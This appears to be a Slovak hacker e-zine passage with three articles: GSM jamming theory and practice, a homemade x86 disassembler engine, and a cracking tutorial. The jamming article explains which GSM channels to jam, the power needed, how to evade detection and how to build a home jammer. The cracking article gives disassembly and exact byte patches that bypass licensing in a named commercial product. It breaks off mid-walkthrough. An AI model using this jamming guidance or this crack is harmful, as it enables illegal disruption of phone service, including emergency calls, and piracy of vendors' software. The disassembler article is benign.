    je rozdeleny na 8 timeslotov (TDMA), kazdy 8 slotovy TDMA ramec ma trvanie
    cca 4,615 ms (577 mikrosekund/timeslot). GSM frekvencie su naledovne:
    • 'GSM900' downlink 935-960 MHz | uplink 890-915 MHz

    • 'GSM1800' downlink 1710-1785 MHz | uplink 1805-1880 MHz


    timesloty sa nazyvaju fyzickymi kanalmi, niekolko logickych kanalov moze zdielat
    jeden fyzicky kanal, siet GSM ma niekolko typov logickych kanalov .. mobil ked
    vstupi do siete, tak prejde vsetky frekvencie a hlada timeslot zacinajuci "00000..."
    na logickom kanaly FCCH (Frequency Correction Channel), ktory sa nachadza vo vnutri
    fyzickeho kanalu BCCH (Broadcast Control Channel), BCCH je urceny pre bit synchronizaciu
    a vzdy sa nachadza v 0-tom timeslote. ked vykona bit synchronizaciu, najde Synchronization
    Channel (SCH) z BCCH, dalej z SCH ziska tzv. frame synchonizaciu, potom najde
    logicky kanal BCCH vo fyzickom BCCH. logicky kanal BCCH dorucuje mobilu rozne
    info, napr. o frekvenciach pre Frequency Hopping (FH), dalsich blizkych BTS, dalsich
    frekvenciach a podobne, okrem tychto troch downlinkovych kanalov FCCH, SCH a BCCH,
    su vo fyzickom BCCH este tri, The Paging Channel (PCH), Random Access Channel
    (RACH), Access Grant Channel(AGCH).

    no sice som to zacal ale zistujem, ze teoria fungovania GSM by bola na dlho
    a nechce sa mi to uz pisat, takze si to nastudujte napr.

    tu :)

    jamming GSM


    pre redukciu rychleho slabnutia signalu, sposobeneho pohybom
    telefonujucich ludi bol uz pri vyvoji planovany Frequency Hopping, (pouziva
    sa aj v armadnych zalezitostiach ale tam sluzi hlavne na znemoznenie odpocuvania
    a monitorovania a 64 frekvencii v GSM je proti tym v armade uplne nic) tento
    system vie vyuzivat a prepinat medzi 64 frekvenciami a to rychlostou az 200
    hopov za sekundu, jammer moze monitorovat BCCH a zrusit hopovaciu sekvenciu
    v predstihu. GSM system ma velmi dobre vymyslene prekryvanie a opravu chyb samoopravnym
    kodom, to vedie k predpokladom, ze jammer by moc neziskal impulznym jammingom.
    v GSM je specificky S/N (signal/sum) pomer 9dB, jammer potrebuje 5dB S/J (signal
    GSM/rusiaci signal) aby spolahlivo zarusil kanal, optimalny pomer S/N v sieti
    GSM je 12dB. System GSM je vymysleny tak aby vydrzal nahle a obcasne vypadky
    v TCH (traffic channel) spojeniach, tieto vypadky su normalne sposobene brutalnymi
    stratami sirenia signalu, ktore nastavaju napriklad pri jazde tunelom a podobne,
    obvykle moze v spojeni pokracovat ina bunka ak ta prva stratila spojenie, architektura
    GSM siete ma na toto dve metody, tou prvou je uz spominany hopping v
    pripade, ze spojenie je stale aktivne, druha metoda je tzv. call re-establishment
    ked spojenie totalne zlyhalo. rozhodnutie k handoveru zalezi od kvality prenosu
    a merania urovne prijmaneho signalu vykonaneho ako mobilom tak aj BTS-kou, v
    situacii ked aktivne rusime mobilny telefon, je prave call re-establishment
    procedurou ktoru siet vykona na obnovenie spojenia na TCH. v momente ked dojde
    k strate spojenia na TCH spusti sa v MSC-cku timer, ked uplynie max. cas, nastaveny
    operatorom, a nedojde pocas tohoto casu k obnoveniu spojenia, bude spojenie
    definitivne prerusene (to ma za nasledok padnutie hovoru).

    je jasne, ze rusenie uplinku je vo vacsine pripadov lahsie a lacnejsie ako rusenie
    downlinku, kedze BTSky maju vacsi vykon ako mobil, maju anteny s vacsim ziskom,
    maju ich vysoko a podobne, v pripade, ze treba rusit iba jeden mobil, da sa
    aj to ale treba odchytavat a rozlisit jeho bursty a rusit iba ten, ano, da sa
    aj to, no v tomto pripade ak nastane hopping, treba zistovat aj novu frekvaenciu
    a presunut sa s rusenim tam, cele toto je velmi narocne na vybavicku a tak je
    ovela jednoduchsie rusit vsetky traffic channely okolo. cize rusenie TCH je
    stazene handovermi a call re-establishmentami, to znamena, ze pri moznosti handoveru,
    v spojeni s TCH, by musel byt ruseny este najmenej RACH kontrolny kanal v oblasti
    vsetkych BTS kam ma mobil dosah, na to aby padol prebiehajuci hovor. ak je cielom
    jammingu zrusit prebiehajuce hovory, tak staci pockat kym prejde cas call re-establishment
    timeru v MSCcku, to znamena ze existujuci hovor sa da polozit v priebehu niekolkych
    sekund.

    mozeme v kuse rusit RACH kontrolny kanal a v tom pripade to zabrani mobilu ziadat
    o akukolvek sluzbu BTSku, pripomenme si ze aj pri hovore ktory iniciuje siet
    sa vyzaduje od mobilu aby poziadal o sluzbu prostrednictvom RACH, cize sa neda
    volat z mobilu a neda sa volat ani na mobil, tento sposob vsak ponecha hovory
    uz prebiehajuce vo chvili zaciatku rusenia aktivne, cize kazdy si v pohode dotelefonuje
    ale niekedy tato technika nie je moc efektivna. co sa tyka vykonu, tak ak by
    sme uvazovali, ze mobil a aj jammer maju rovnaku antenu 12dBi, mobil ma vykon
    max. 2W a vzdialenost jammera od BTS je dvojnasobna ako mobilu od BTS, tak by
    sme potrebovali aby vykon jammera bol cca 2,5W, idealne 3W. GSM random access
    je rieseny velmi jednoducho, pokial mobil posle poziadavku. ktora nie je odpovedana,
    bude ju opakovat po nahodnom case, pocet opakovani ako aj rozmedie nahodnych
    casov su posielane mobilu po BCCH kanale. Ak mobil posle poziadavku a tato mu
    je odmietnuta, moze zacat pozadovat sluzbu od inej bunky, preto treba rusit
    RACH v celej oblasti kam moze mat mobil dosah na bunky.

    ked sa pozrieme na architekturu GSM, zistime, ze downlink kontrolne kanaly
    (FCCH, SCH a BCCH) mozeme rusit v pripade ak potrebujeme utajit pred mobilom
    bunku, co sa prejavi tym, ze mobil nenajde siet, tieto kanaly sa daju pomerne
    lahko rozpoznat, pouzivaju konstantny vysielaci vykon.

    cele GSM ma este jednu vlastnost, ktora modernym jammerom pomaha v mensej odhalitelnosti,
    nakolko ak je jamming uspesny, tak system automaticky zvysuje vsetky vysielacie
    vykony a inteligentny jammer to dokaze rozpoznavat a vie menit svoj vysielaci
    vykon, eventualne prestat vysielat na urcitu dobu a stat sa tak menej odhalitelnym,
    prip. setrit svoj zdroj energie, inak je v podstate nemozne zistit na dialku
    uspesnost rusenia.

    ked to zhrnieme, tak aktivne hovory sa daju zhodit rusenim TCH ktory sa pouziva
    pri hovore a sucasnym rusenim RACH vsetkych ostatnych buniek, rusenie iba
    jedneho mobilu je sice mozne ale je to tazke a je tazke aj najst jeho polohu,
    ak zarusime iba komplet vsetky RACH, budu sa vsetky mobily v okoli tvarit,
    ze nemaju ziadnu siet, inteligentne jammery dnesnej doby dokazu navodit u
    obete pocit, ze siet ma a vsetko je v poriadku, vysielaju a zrusia hovor iba
    tesne po pokuse ho nadviazat, odolnost siete voci ruseniu sa zvysuje aj pouzivanim
    smerovych anten na BTS a zmensovanim pokrytia na jednu bunku, cize zhustenim
    buniek...

    v domacich podmienkach sa to da postavit, sice to zrusi vsetko okolo bez
    rozdielu ale nevadi, tak nacrtnem aspon strucne, zakladne casti su sumovy
    generator, generator trojuholnikoveho signalu, vco, vf zosilovac a zdroj,
    trojuholnikom sa dostatocne rychlo preladuje vco-cko v potrebnom useku frekvencii
    a k tomu sa pridava vygenerovany sum na kvalitne zarusenie a cele sa to prezenie
    cez dobry vf koniec ... a je to .. ak by bol zaujem, nacmaram nejake schemy
    ...


    by unknown, unknown (at) hysteria.sk..


    navrat na obsah

    co ty na to ? board




    Disassembler, doma, jednoducho a rychlo.



    Introduction


    55 89 e5 81 c4 00 05 00
    00 81 e4 f0 ff ff ff 8d
    9d 00 fb ff ff b8 7a 00
    00 00 cd 80

    Assembler ...

    push ebp
    mov ebp, esp
    add esp, 0500h
    and esp, 0fffffff0h
    lea ebx, [ebp + 0ffffb00h]
    mov eax, 07ah
    int 080h

    ... rec procesorov.


    Uz dlhsiu dobu mam na disku jeden nie sice uplne dokonceny, ale dufam zaujimavy
    projekt. Asi pred dvomi rokmi zacal kamarat pracovat na vlastnom projekte.
    Jednalo sa o nizkourovnovy nastroj do windows a jeho sucastou mala byt aj
    kompomenta ukazujuca disassemblovanu cast pamati. Denne pracujem s assemblerom
    v zamestnani a zo zvedavosti som mu ponukol pomoc.


    Aby sme mohli dalej pokracovat, mohli by sme si objasnit niekolko zakladnych
    pojmov ohladom formatu instrukcii.
    Nasledujuca cast je opisana z Intel manualu a kto to uz pozna, moze kludne
    preskocit dalej.


    Vsetky instrukcie architektury IA-32 su podmnozunou vseobecneho zapisu
    instrukcie ukazanej dole nizssie.


    ___________________________________________________________________
    | Prefix | Opcode | ModR/M | SIB | Address Displacement | Immediate |
    | | | | | | |
    -------------------------------------------------------------------

    1. Prefix

    Prefixy su delene do styroch skupin.


    1.1 Lock a Repeat

    Lock - Procesor zatiahne za signal LOCK#. Vo viac procesorovom systeme si
    takto procesor vyhradi exkluzivny pristup k zdielanym prostriedkom s inymi
    procesormi.


    Repne/Repnz/Rep/Repe/Repz - Opakuje niekolko krat string instrukciu pokial nie
    je splnena pozadovana podmienka (napr. konkretny pocet iteracii v registri
    CX/ECX alebo je/nie je nastaveny zero flag).


    1.2 Segment override
    CS, SS, DS, ES, FS, GS - Povedia procesoru v ktorom segmente maju spracovat
    data na ktore sa instrukcia odkazuje.


    Branch hints - Pomahaju procesoru predpovedat pravdepodobny vysledok
    podmieneneho skoku.


    1.3 Operand-size override prefix

    Pomaha programu prepinat medzi operandami s velkostou 16 a 32 bitov. Obe
    velkosti sa mozu nastavit ako standartne. Operand sposobi prepnutie do tej
    druhej velkosti.


    1.4 Address-size override prefix

    To iste, co 1.3


    Kazda instrukcia moze obsahovat jeden prefix z jednej skupiny (vacsina
    kompilatorov to ale veselo ignoruje) a mozu sa miesat v lubovolnom poradi.


    2. Opcode

    Opcode moze byt 1 az 3 bajty dlhy. Niekedy sa za cast instrukcie povazuju aj
    3bity z ModR/M.


    3. ModR/M a SIB

    Vacsina instrukcii pristupuje priamo k pamati a na jej adresaciu vyuzivaju
    adresny bajt ModR/M. ModR/M Obsahuje tri dalsie bitove polia (mod, reg/opcode,
    r/m). Ich vzajomna kombinacia dava dohromady adresu, na ktoru sa instrukcia
    odkazuje.


    Niekedy je vsak potreba zlozitejsiej adresacie a na to sa vyuziva druhy
    adresny bajt SIB. Ten sa podobne ako ModR/M sklada z niekolkych bitovych poli
    (scale, index a base). SIB sa pouziva len pri 32 bitovej adresacii.


    4. Displacement a Immediate

    Nikedy instrukcia pouziva priamu adresaciu pamate. Casto krat sa k tomu
    vyuziva ciselna konstanta. Prave tieto dve casti instrukcie sluzia na ulozenie
    takychto konstant. Mozu byt 1 az 4 bajty dlhe.


    Tak, to bol prehlad formatu instrukcie z rychlika.


    Kamarat na svoj projekt uz pouzival urcite komponenty a musel som sa
    prisposobit. Jedna z komponent bol disassemblovaci engine ade32 od Zombieho.
    Pisem engine a nie dissassembler. Jeho vystupom nie je citatelny text ako sme
    zvyknuti s vacsiny disassemblerov, ale samotna instrukcia rozpitvana na
    jednotlive kusky (prefix, opcode, ModR/M, ...) v lahko modifikovatelnej
    strukture.


    Engine funguje priblizne takto:

    Ade32 ma v sebe tabulku instrukcii. Ku kazden instrukcii ma napisane zakladne
    informacie (napr. ci obsahuje ModR/M, ci je to instrukcia skoku, ci obsahuje
    ciselnu konstantu, ..). Informacie su ulozene v jednorozmenom poli. Ako index
    do tabulky sluzi samotny opcode instrukcie.

    Ako vstup mu sluzi kus pamate, ktory treba analyzovat.


    1.) Najskor skontroluje pritomnost prefixov

    2.) Najde opkod instrukcie.

    3.) Podla informacii z tabulky a najdenych prefixov dopocita pritomnost a
    pripadne velkost immidiate a displacement.

    4.) Vsetky zistene informacie naplni do struktury a posle naspat.


    Ako som uz spominal, ade32 vracia iba ciselne hodnoty, ktore vacsina
    smrtelnikov v laske nema, navyse nie vsetky instrukcie, ktore ade32 zdekoduje
    su spravne (viva inteli zlepsovaky a rozsirenia). Tu prichadza na rad moj
    engine.


    Ten na vstupe zoberie ziskane informacie z ade32 a pokracuje podobnym sposobom.


    Tiez obsajuhe informacie o instrukciach. Tie su vsak ineho razu ako v ade32.
    Je v nich napriklad meno instrukcie a format ako sa ma instrukcia interpretovat.


    1.) Zdekoduje sa prefix.

    2.) Zistia informacie o instukcii (meno a format).

    3.) Po jednom sa zdekoduju jednotlive operandy.

    4.) Zdekodovane informacie sa poslu naspat v citatelnej forme.


    Vystupna struktura obsahuje retazec zdekodovanej instrukcie. Tento retazec je
    rozdeleny na niekolko casti, aby sa dal jednoducho formatovat pri vystupe.


    Oba enginy sa pouzivaju velmi jendoducho. Pokial uz mame pripravenu cast
    pamate, ktoru chceme disassemblovat, posleme na nu najskor ade32.


    struct ade32_struct s = {4,4}; // prepare to disasm 32-bit code
    int length; // instruction length

    length = ade32_disasm(pindex, &s);

    'pindex' ukazuje do disassemblovanej pamate a 's' je struktura ade32.


    Ak je length vacsi ako 0, instrukcia je rozpitvana a mozeme ju prekonvertovat
    na string:


    instr_decode (&s, &name, index + length);

    'name' je struktura v ktorej mame zkonvertovanu instrukciu na string a 'index'
    je hodnota registru EIP. Kombinacia 'index + length' urcuje v ktorej casti
    pamate sa instrukcia nachadza a je potrebna napr. pre dopocitavanie offsetov
    relativnych skokov.


    K clanku prikladam aj
    zdrojaky k mojmu enginu, k mierne
    upravenemu ade32 a
    jednoduchy priklad vyuzitia oboch enginov. Zdrojaky su bez problemov
    skompilovatelne s gcc 3.x v Linuxe aj pod Window (mingw). S mensimi upravami
    aj pod M$ VC. Inde som kompilovat neskusal, ale nepredpokladam neriesitelne
    problemy.


    V najblizsej dobre nepredpokladam progres na tomto projekte. Urcite sa v nom
    najde, ako v kazdom inom projekte, zopar chyb (raz za cas dostanem od kamarata
    avizo, ze nieco nasiel). Pokial nejaku najdete, prosim poslite mi info,
    pripadne zlepsenia.

    Niekto by mohol naprogramovat nejaky pekny hexa/code viewer s klikacim gui s
    obrazkami v GTK/QT pre *nix/Win s podporou spustitelnych formatov ELF, MZ/PE
    :).

    Pripadne niekto odvaznejsi by mohol pridat podporu pre debug symboly (kamarat
    by to urcite ocenil a ja tiez).


    To bolo hadam vsetko. Dakujem za pozornost.


    emmil (makovy zavinac) dump bodka cz


    navrat na obsah

    co ty na to ? board




    Cracking a ine kratochvile


    Uloha: Rozchodit plnu verziu softwaru EMMTEC LIGHTFACTORY z verzie,
    ktora sa da stiahnut na stranke vyrobcu http://www.lifact.com/ .
    Konkretne islo o verziu 1.1.0.67


    Tools:

    PEiD
    http://www.peid.tk

    OllyDbg http://www.ollydbg.de

    GODUP a signatury Delphi (odporucam pogooglit, vacsinou sa
    taketo veci najdu na nejakych forach, do ktorych treba registraciu.)


    Tak pekne po poriadku. Prva vec, ktoru treba pri podobnej pracicke
    zrobit je zistit, aky kompilator, pripadne packager bol pouzity na
    danej binarke. PEiD nam nastastie hodilo Borland Delphi 6-7 a ziaden
    packager, takze az tak vela roboty byt nemusi.


    Dalsim krokom je loadnut binarku do OllyDbg, kde je pre lepsie
    pochopenie kodu vhodne pouzit GODUP so signaturami pre Delphi 7 (to
    aby sa standardne Delphi funkcie zakompilovane do kodu rozlisili od
    funkcii samotneho programu).


    Spustime programik a vyhodi na nas hlasku, ze nie sme zaregistrovani a
    vsetky tie keci okolo. Tuto hlasku ignorujeme (nechame bezat free
    verziu) a nechame si zobrazit hlavne okno, kde vidime nieco v zmysle
    unregistered system atd. Okrem tejto hlasky je este podobna hlaska v
    about okne, a ja si ju vyberiem. V OllyDbg mozme software restartovat
    a zobrazime zoznam stringov (rightclick -> search for -> all
    referenced text strings). V nom najdeme message z about tabu a cely
    kod vyzera zhruba takto:


    0073D1A8 . E8 E3C3EEFF CALL sl.00629590
    0073D1AD . E8 26C4EEFF CALL sl.006295D8
    0073D1B2 . 84C0 TEST AL,AL
    0073D1B4 . 0F84 89000000 JE sl.0073D243
    0073D1BA . E8 D1C3EEFF CALL sl.00629590
    0073D1BF . 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C]
    0073D1C2 . 8D45 C8 LEA EAX,DWORD PTR SS:[EBP-38]
    0073D1C5 . BA 10D37300 MOV EDX,sl.0073D310 ;
    ASCII "Registered to: "
    0073D1CA . E8 8181CCFF CALL sl.00405350
    0073D1CF . 8B55 C8 MOV EDX,DWORD PTR SS:[EBP-38]
    0073D1D2 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0073D1D5 . 8B80 0C030000 MOV EAX,DWORD PTR DS:[EAX+30C]
    0073D1DB . E8 F4F0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >
    0073D1E0 . E8 ABC3EEFF CALL sl.00629590
    0073D1E5 . 8B48 10 MOV ECX,DWORD PTR DS:[EAX+10]
    0073D1E8 . 8D45 C4 LEA EAX,DWORD PTR SS:[EBP-3C]
    0073D1EB . BA 28D37300 MOV EDX,sl.0073D328 ;
    ASCII "User: "
    0073D1F0 . E8 5B81CCFF CALL sl.00405350
    0073D1F5 . 8B55 C4 MOV EDX,DWORD PTR SS:[EBP-3C]
    0073D1F8 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0073D1FB . 8B80 10030000 MOV EAX,DWORD PTR DS:[EAX+310]
    0073D201 . E8 CEF0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >
    0073D206 . 68 38D37300 PUSH sl.0073D338 ;
    ASCII "System will output to "
    0073D20B . E8 80C3EEFF CALL sl.00629590
    0073D210 . 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18]
    0073D213 . 8D55 BC LEA EDX,DWORD PTR SS:[EBP-44]
    0073D216 . E8 95D3CCFF CALL <sl.@Sysutils@IntToStr$qqri 0010:Fi>
    0073D21B . FF75 BC PUSH DWORD PTR SS:[EBP-44]
    0073D21E . 68 58D37300 PUSH sl.0073D358 ;
    ASCII " DMX Universes"
    0073D223 . 8D45 C0 LEA EAX,DWORD PTR SS:[EBP-40]
    0073D226 . BA 03000000 MOV EDX,3
    0073D22B . E8 9481CCFF CALL sl.004053C4
    0073D230 . 8B55 C0 MOV EDX,DWORD PTR SS:[EBP-40]
    0073D233 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0073D236 . 8B80 14030000 MOV EAX,DWORD PTR DS:[EAX+314]
    0073D23C . E8 93F0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >
    0073D241 . EB 36 JMP SHORT sl.0073D279
    0073D243 > 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0073D246 . 8B80 0C030000 MOV EAX,DWORD PTR DS:[EAX+30C]
    0073D24C . BA 70D37300 MOV EDX,sl.0073D370 ;
    ASCII "System is unregistered"
    0073D251 . E8 7EF0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >
    0073D256 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0073D259 . 8B80 10030000 MOV EAX,DWORD PTR DS:[EAX+310]
    0073D25F . BA 90D37300 MOV EDX,sl.0073D390 ;
    ASCII "No DMX output will be generated!"
    0073D264 . E8 6BF0D3FF CALL <sl.GetBindingkeyDetail (0008: E8) >


    Zaujimat nas bude podmieneny test na zaciatku, lebo ten rozhoduje, ci
    ide o plnu verziu softwaru, alebo nie. Testuje sa subregister AL.
    Tesne pred testovanim sa teda zavola funkcia na 006295D8. Ta nie je
    prave trivialna, jej zdrojak je zhruba takyto:

    006295D8 /$ 55 PUSH EBP
    006295D9 |. 8BEC MOV EBP,ESP
    006295DB |. 83C4 E8 ADD ESP,-18
    006295DE |. 53 PUSH EBX
    006295DF |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
    006295E2 |. C645 FB 00 MOV BYTE PTR SS:[EBP-5],0
    006295E6 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006295E9 |. 33D2 XOR EDX,EDX
    006295EB 8950 18 MOV DWORD PTR DS:[EAX+18],EDX
    006295EE 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006295F1 33D2 XOR EDX,EDX
    006295F3 |. 8950 1C MOV DWORD PTR DS:[EAX+1C],EDX
    006295F6 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006295F9 |. C740 20 650000>MOV DWORD PTR DS:[EAX+20],65
    00629600 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629603 |. 33D2 XOR EDX,EDX
    00629605 |. 8950 28 MOV DWORD PTR DS:[EAX+28],EDX
    00629608 |. 8950 2C MOV DWORD PTR DS:[EAX+2C],EDX
    0062960B |. B2 01 MOV DL,1
    0062960D |. A1 9CF55800 MOV EAX,DWORD PTR DS:[58F59C]
    00629612 |. E8 8D60F6FF CALL sl.0058F6A4
    00629617 |. 8BD8 MOV EBX,EAX
    00629619 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0062961C |. 8958 14 MOV DWORD PTR DS:[EAX+14],EBX
    0062961F |. 33C0 XOR EAX,EAX
    00629621 |. 55 PUSH EBP
    00629622 |. 68 D7966200 PUSH sl.006296D7
    00629627 |. 64:FF30 PUSH DWORD PTR FS:[EAX]
    0062962A |. 64:8920 MOV DWORD PTR FS:[EAX],ESP
    0062962D |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629630 |. 8B50 0C MOV EDX,DWORD PTR DS:[EAX+C]
    00629633 |. 8BC3 MOV EAX,EBX
    00629635 |. E8 B66EF6FF CALL <sl.@Listactns@TListControlItem@Set>
    0062963A |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0062963D |. 8B50 08 MOV EDX,DWORD PTR DS:[EAX+8]
    00629640 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629643 |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14]
    00629646 |. E8 916EF6FF CALL sl.005904DC
    0062964B |. 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14]
    0062964E |. 50 PUSH EAX
    0062964F |. 8D45 E8 LEA EAX,DWORD PTR SS:[EBP-18]
    00629652 |. 50 PUSH EAX
    00629653 |. 8D4D F0 LEA ECX,DWORD PTR SS:[EBP-10]
    00629656 |. 8D55 F4 LEA EDX,DWORD PTR SS:[EBP-C]
    00629659 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0062965C |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14]
    0062965F |. E8 7C60F6FF CALL sl.0058F6E0
    00629664 |. 84C0 TEST AL,AL
    00629666 |. 74 4E JE SHORT sl.006296B6
    00629668 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0062966B |. 8B55 EC MOV EDX,DWORD PTR SS:[EBP-14]
    0062966E |. 8950 18 MOV DWORD PTR DS:[EAX+18],EDX
    00629671 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629674 |. 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C]
    00629677 |. 8950 1C MOV DWORD PTR DS:[EAX+1C],EDX
    0062967A |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    0062967D |. 8B55 F0 MOV EDX,DWORD PTR SS:[EBP-10]
    00629680 |. 8950 20 MOV DWORD PTR DS:[EAX+20],EDX
    00629683 |. DB45 E8 FILD DWORD PTR SS:[EBP-18]
    00629686 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629689 |. DD58 28 FSTP QWORD PTR DS:[EAX+28]
    0062968C |. 9B WAIT
    0062968D |. C645 FB 01 MOV BYTE PTR SS:[EBP-5],1
    00629691 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    00629694 |. DD40 28 FLD QWORD PTR DS:[EAX+28]
    00629697 |. D81D E8966200 FCOMP DWORD PTR DS:[6296E8]
    0062969D |. DFE0 FSTSW AX
    0062969F |. 9E SAHF
    006296A0 |. 76 14 JBE SHORT sl.006296B6
    006296A2 |. E8 C135DEFF CALL <sl.@Sysutils@Now$qqrv>
    006296A7 |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006296AA |. DC58 28 FCOMP QWORD PTR DS:[EAX+28]
    006296AD |. DFE0 FSTSW AX
    006296AF |. 9E SAHF
    006296B0 |. 76 04 JBE SHORT sl.006296B6
    006296B2 |. C645 FB 00 MOV BYTE PTR SS:[EBP-5],0
    006296B6 |> 33C0 XOR EAX,EAX
    006296B8 |. 5A POP EDX
    006296B9 |. 59 POP ECX
    006296BA |. 59 POP ECX
    006296BB |. 64:8910 MOV DWORD PTR FS:[EAX],EDX
    006296BE |. 68 DE966200 PUSH sl.006296DE
    006296C3 |> 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006296C6 |. 8B40 14 MOV EAX,DWORD PTR DS:[EAX+14]
    006296C9 |. E8 62AADDFF CALL <sl.@System@TObject@Free$qqrv>
    006296CE |. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
    006296D1 |. 33D2 XOR EDX,EDX
    006296D3 |. 8950 14 MOV DWORD PTR DS:[EAX+14],EDX
    006296D6 . C3 RETN
    006296D7 .^E9 E8B1DDFF JMP sl.004048C4
    006296DC .^EB E5 JMP SHORT sl.006296C3
    006296DE 8A45 FB MOV AL,BYTE PTR SS:[EBP-5]
    006296E1 . 5B POP EBX
    006296E2 . 8BE5 MOV ESP,EBP
    006296E4 . 5D POP EBP
    006296E5 . C3 RETN

    Funkcia je to pomerne komplikovana, dokonca upravuje stack na inu
    navratovu adresu a prvy return teda nie vzdy vrati beh programu, ale
    iba skoci na nejake ine miesto vo funkcii. Situacia je ale zaujimava
    pred poslednym returnom.


    Do AL sa nam zapise nejaka hodnota z pamate a este sa nieco pomeni s
    base registrom a base pointrom. Ak si dobre pamatame, tak AL sa nam
    bude v zapati testovat a pocas krokovania sa nam na instrukcii
    0066296DE vynuluje. Skusime teda zapisat tam natvrdo nejaku inu
    hodnotu (napriklad 1). Kod sa nam teda zmeni na:


    006296DE B0 01 MOV AL,1
    006296E0 90 NOP
    006296E1 . 5B POP EBX ; 00ED0D20
    006296E2 . 8BE5 MOV ESP,EBP
    006296E4 . 5D POP EBP
    006296E5 . C3 RETN

    No a mozme zacat skusat, ako sa nam zmenilo spravanie programu. Ked
    program restartujeme, je vzdy potrebne nami vykonane zmeny patchnut do
    kodu vyvolanim okna patches a aplikovanim jednotlivych "zaplat".
    Program nam o5 zastane na nasom breakpointe, ten uz mozme odstranit a
    nechame ho bezat dalej. Okamzite nas prekvapi absencia ziadosti o
    registraciu a rovnako software sa uz tvari ako zaregistrovany. Prva
    cast roboty je teda za nami.


    Z navrhu softwaru vyplyva, ze nie je podstatna len edicia (ktoru mame
    momentalne profesional), ale aj pocet zaregistrovanych interfacov,
    ktory mame stale 0, teda program by bol nepouzitelny. Naspat do about
    okna, kde sa vypisuje pocet interfacov, vyhladat string a dostavame sa
    do casti kodu:


    0073D206 . 68 38D37300 PUSH sl.0073D338 ;
    ASCII "System will output to "
    0073D20B . E8 80C3EEFF CALL sl.00629590
    0073D210 . 8B40 18 MOV EAX,DWORD PTR DS:[EAX+18]
    0073D213 . 8D55 BC LEA EDX,DWORD PTR SS:[EBP-44]
    0073D216 . E8 95D3CCFF CALL <sl.@Sysutils@IntToStr$qqri 0010:Fi>
    0073D21B . FF75 BC PUSH DWORD PTR SS:[EBP-44]
    0073D21E . 68 58D37300 PUSH sl.0073D358 ;
    ASCII " DMX Universes"

    Tu sa nam hodilo mat natiahnute signatury delphi, a vidime, ze funkcia
    volana na 0073D216 je obycajny IntToStr a teda s ochranou vela
    spolocneho nema (zabezpecuje len, aby sa v about okne vypisal pocet
    interfacov - lebo vypis je tam string). Zo zoznamu kandidatov este
    vyhodime instrukciu LEA, lebo ta nam len loadne efektivnu adresu a
    ostavaju nam dvaja horuci kandidati. Procedura 00629590 a instrukcia
    MOV. Opat nastavime breakpoint na 0073D206 a budeme postupne krokovat,
    aby sme videli, ci sa nasa nula (ako pocet interfacov) neobjavi niekde
    v registroch.


    EAX sa nam vynuluje az pod instrukcii MOV. Z toho mozme predpokladat,
    ze pocet zaregistrovanych interfacov je na adrese, z ktorej sa to do
    EAX prenesie. Konkretne je to adresa DS:[00ED0D38].
    Tu si nechame zobrazit v dumpe (right click -> follow in dump ->
    memory address) a skusime do nej zapisat nejaku hodnotu (kedze
    architektura x86 pouziva little endian, tak zapiseme hodnotu do prveho
    bajtu a dame tam napriklad 01) a nechame program dalej bezat (F9).
    System nam zrazu vypisuje pocet interfacov rovny 1, teda adresa je
    spravna, otazne je, ako tam tu hodnotu zapisat vzdy pri spusteni
    programu.


    Maly problem je, ze tato cast pamate je dynamicky alokovana a teda sa
    neda upravovat, ked program nebezi. Nastastie je proces alokovania
    pamati pri starte programu vzdy rovnaky, a teda mozme predpokladat, ze
    adresa sa pri dalsom behu programu nezmeni. Problem s alokaciou az za
    behu vyriesime tak, ze nechame program urobit par operacii a breakneme
    ho napriklad, ked bude nacitavat hodnoty zo systemoveho registra (tie
    koniec koncov potrebuje aj na vypocet licencie zo serioveho cisla.)
    Najskor si vypiseme vsetky funkcie systemu, ktore program pouziva
    (rightclick -> search for -> all intermodular calls). Zaujima nas
    konkretne volanie ADVAPI32.RegQueryValueExA, takze si ho oznacime na
    breakovanie (rightclick -> set breakpoint on every call...) a
    restartujeme program.


    Pri breaku na prvej funkcii nacitania z registra si nechame zobrazit
    image pamate a najdeme sektor, v ktorom je adresa 00ED0D38 a oznacime
    na nej break pri zapise (right click -> breakpoint -> memory on
    write). Po par breakoch na RegQueryValueExA nam konecne breakne na
    memory operacii:


    006295EB |. 8950 18 MOV DWORD PTR DS:[EAX+18],EDX

    Teda na nasu adresu nam zapise aktualnu hodnotu registra EDX, co je
    ocakavana nula (hodnota pravdepodobne vypocitana z nespravneho
    registracneho cisla). Takze namiesto kopirovania hodnoty z EDX
    pouzijeme priamu hodnotu, napriklad 10 (sestnastkovo 0A). Vysledny kod
    teda bude:

